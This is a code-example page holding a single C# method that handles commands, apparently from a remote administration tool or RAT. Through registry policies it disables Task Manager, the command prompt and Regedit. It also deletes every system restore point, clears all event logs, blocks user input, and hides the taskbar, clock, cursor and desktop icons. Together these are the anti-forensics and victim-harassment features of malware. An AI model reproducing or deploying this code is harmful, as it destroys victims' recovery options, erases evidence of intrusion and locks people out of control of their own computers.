예제 #1
0
        public static void HandleFunCommand(List <String> Packet)
        {
            IntPtr Trayhwnd      = FindWindow("Shell_traywnd", "");
            IntPtr TrayIconshwnd = FindWindowEx(Trayhwnd, IntPtr.Zero, "TrayNotifyWnd", null);
            IntPtr Clockhwnd     = FindWindowEx(TrayIconshwnd, IntPtr.Zero, "TrayClockWClass", null);
            IntPtr AppIconshwnd  = FindWindowEx(Trayhwnd, IntPtr.Zero, "ReBarWindow32", null);
            IntPtr Desktophwnd   = FindWindow("Progman", "Program Manager");

            switch (Packet[1])
            {
            case "Taskmgr":
                RegistryKey TaskKey = Microsoft.Win32.Registry.CurrentUser.CreateSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System");
                switch (Packet[2])
                {
                case "Disable":
                    TaskKey.SetValue("DisableTaskMgr", 1);
                    break;

                case "Enable":
                    TaskKey.SetValue("DisableTaskMgr", 0);
                    break;
                }
                TaskKey.Close();
                break;

            case "CMD":
                RegistryKey CMDKey = Microsoft.Win32.Registry.CurrentUser.CreateSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System");
                switch (Packet[2])
                {
                case "Disable":
                    CMDKey.SetValue("DisableCMD", 2);
                    break;

                case "Enable":
                    CMDKey.SetValue("DisableCMD", 0);
                    break;
                }
                CMDKey.Close();
                break;

            case "Regedit":
                RegistryKey RegeditKey = Microsoft.Win32.Registry.CurrentUser.CreateSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System");
                switch (Packet[2])
                {
                case "Disable":
                    RegeditKey.SetValue("DisableRegistryTools", 1);
                    break;

                case "Enable":
                    RegeditKey.SetValue("DisableRegistryTools", 0);
                    break;
                }
                RegeditKey.Close();
                break;

            case "DeleteRestorePoints":
                System.Management.ManagementClass            objClass = new System.Management.ManagementClass("\\\\.\\root\\default", "systemrestore", new System.Management.ObjectGetOptions());
                System.Management.ManagementObjectCollection objCol   = objClass.GetInstances();
                List <int> RestorePoints = new List <int>();
                foreach (ManagementObject objItem in objCol)
                {
                    RestorePoints.Add(Convert.ToInt32((uint)objItem["sequencenumber"]));
                }
                foreach (int RestoreID in RestorePoints)
                {
                    try
                    {
                        SRRemoveRestorePoint(RestoreID);
                    }
                    catch { }
                }
                break;

            case "DeleteEventLogs":
                foreach (EventLog CurrentLog in EventLog.GetEventLogs())
                {
                    try
                    {
                        CurrentLog.Clear();
                        CurrentLog.Dispose();
                    }
                    catch { }
                }
                break;

            case "CloseCDTray":
                mciSendStringA("set CDAudio door open", "", 127, 0);
                break;

            case "OpenCDTray":
                mciSendStringA("set CDAudio door closed", "", 127, 0);
                break;

            case "HideTrayIcons":
                ShowWindow(TrayIconshwnd, 0);
                break;

            case "ShowTrayIcons":
                ShowWindow(TrayIconshwnd, 1);
                break;

            case "HideCursor":
                ShowCursor(false);     //Might need to hook explorer.exe
                break;

            case "ShowCursor":
                ShowCursor(true);      //Might need to hook explorer.exe
                break;

            case "HideTaskIcons":
                ShowWindow(AppIconshwnd, 0);
                break;

            case "ShowTaskIcons":
                ShowWindow(AppIconshwnd, 1);
                break;

            case "DisableUserInput":
                BlockInput(true);
                break;

            case "EnableUserInput":
                BlockInput(false);
                break;

            case "HideClock":
                ShowWindow(Clockhwnd, 0);
                break;

            case "ShowClock":
                ShowWindow(Clockhwnd, 1);
                break;

            case "MonitorOff":
                SendMessage(GetConsoleWindow(), WM_SYSCOMMAND, (IntPtr)SC_MONITORPOWER, (IntPtr)(-1));
                break;

            case "MonitorOn":
                SendMessage(GetConsoleWindow(), WM_SYSCOMMAND, (IntPtr)SC_MONITORPOWER, (IntPtr)(2));
                break;

            case "HideTaskbar":
                ShowWindow(Trayhwnd, 0);
                break;

            case "ShowTaskbar":
                ShowWindow(Trayhwnd, 1);
                break;

            case "HideDesktopIcons":
                ShowWindow(Desktophwnd, 0);
                break;

            case "ShowDesktopIcons":
                ShowWindow(Desktophwnd, 5);
                break;

            default:
                String FullPacket = "";
                foreach (String CurrString in Packet)
                {
                    FullPacket = FullPacket + CurrString + " + ";
                }
                //MessageBox.Show(FullPacket);
                break;
            }
        }